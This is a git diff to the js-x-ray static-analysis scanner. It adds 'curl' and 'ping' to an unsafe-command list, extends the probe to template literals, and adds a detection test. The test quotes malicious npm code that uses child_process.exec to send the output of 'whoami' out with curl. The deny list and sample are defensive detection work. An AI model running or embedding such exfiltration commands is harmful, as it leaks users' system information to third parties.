diff --git a/.changeset/silly-feet-hunt.md b/.changeset/silly-feet-hunt.md new file mode 100644 index 0000000..80d4f07 --- /dev/null +++ b/.changeset/silly-feet-hunt.md @@ -0,0 +1,5 @@ +--- +"@nodesecure/js-x-ray": patch +--- + +Handle curl and ping for unsafe-command probe diff --git a/workspaces/js-x-ray/src/probes/isUnsafeCommand.ts b/workspaces/js-x-ray/src/probes/isUnsafeCommand.ts index 87d1bbd..4ef7c0c 100644 --- a/workspaces/js-x-ray/src/probes/isUnsafeCommand.ts +++ b/workspaces/js-x-ray/src/probes/isUnsafeCommand.ts @@ -5,10 +5,10 @@ import type { ESTree } from "meriyah"; import { SourceFile } from "../SourceFile.js"; import { generateWarning } from "../warnings.js"; import { ProbeSignals } from "../ProbeRunner.js"; -import { isLiteral } from "../types/estree.js"; +import { isLiteral, isTemplateLiteral } from "../types/estree.js"; // CONSTANTS -const kUnsafeCommands = ["csrutil", "uname"]; +const kUnsafeCommands = ["csrutil", "uname", "ping", "curl"]; function isUnsafeCommand( command: string @@ -25,6 +25,20 @@ function isSpawnOrExec( name === "execSync"; } +function getCommand(commandArg: ESTree.Literal | ESTree.TemplateLiteral): string { + let command = ""; + switch (commandArg.type) { + case "Literal": + command = commandArg.value as string; + break; + case "TemplateLiteral": + command = commandArg.quasis.at(0)?.value.raw as string; + break; + } + + return command; +} + /** * @description Detect spawn or exec unsafe commands * @example @@ -93,11 +107,11 @@ function main( const { sourceFile, data: methodName } = options; const commandArg = node.arguments[0]; - if (!isLiteral(commandArg)) { + if (!isLiteral(commandArg) && !isTemplateLiteral(commandArg)) { return null; } - let command = commandArg.value; + let command = getCommand(commandArg); if (isUnsafeCommand(command)) { // Spawned command arguments are filled into an Array // as second arguments. This is why we should add them diff --git a/workspaces/js-x-ray/src/types/estree.ts b/workspaces/js-x-ray/src/types/estree.ts index e2c9da3..29ebec8 100644 --- a/workspaces/js-x-ray/src/types/estree.ts +++ b/workspaces/js-x-ray/src/types/estree.ts @@ -28,6 +28,24 @@ export function isLiteral( typeof node.value === "string"; } +export function isTemplateLiteral( + node: any +): node is ESTree.TemplateLiteral { + if (!isNode(node) || node.type !== "TemplateLiteral") { + return false; + } + + const firstQuasi = node.quasis.at(0); + if (!firstQuasi) { + return false; + } + + return ( + firstQuasi.type === "TemplateElement" && + typeof firstQuasi.value.raw === "string" + ); +} + export function isCallExpression( node: any ): node is ESTree.CallExpression { diff --git a/workspaces/js-x-ray/test/probes/isUnsafeCommand.spec.ts b/workspaces/js-x-ray/test/probes/isUnsafeCommand.spec.ts index 58af2df..7a5c40d 100644 --- a/workspaces/js-x-ray/test/probes/isUnsafeCommand.spec.ts +++ b/workspaces/js-x-ray/test/probes/isUnsafeCommand.spec.ts @@ -114,3 +114,24 @@ test("aog-checker detection", () => { assert.equal(result.kind, kWarningUnsafeCommand); assert.equal(result.value, "uname -a"); }); + +test("mydummyproject-zyp detection", () => { + // Ref: https://socket.dev/npm/package/mydummyproject-zyp/files/99.9.9/index.js + const maliciousCode = ` + require('child_process').exec('ping -c 4 '); + require('child_process').exec(\`curl -X POST -d "$(whoami)" /c\`); + require('child_process').exec(\`curl "/c?user=$(whoami)"\`); + `; + + const ast = parseScript(maliciousCode); + const sastAnalysis = getSastAnalysis(maliciousCode, isUnsafeCommand) + .execute(ast.body); + + const result = sastAnalysis.warnings(); + assert.equal(result.at(0).kind, kWarningUnsafeCommand); + assert.equal(result.at(0).value, "ping -c 4 "); + assert.equal(result.at(1).kind, kWarningUnsafeCommand); + assert.equal(result.at(1).value, "curl -X POST -d \"$(whoami)\" /c"); + assert.equal(result.at(2).kind, kWarningUnsafeCommand); + assert.equal(result.at(2).value, "curl \"/c?user=$(whoami)\""); +});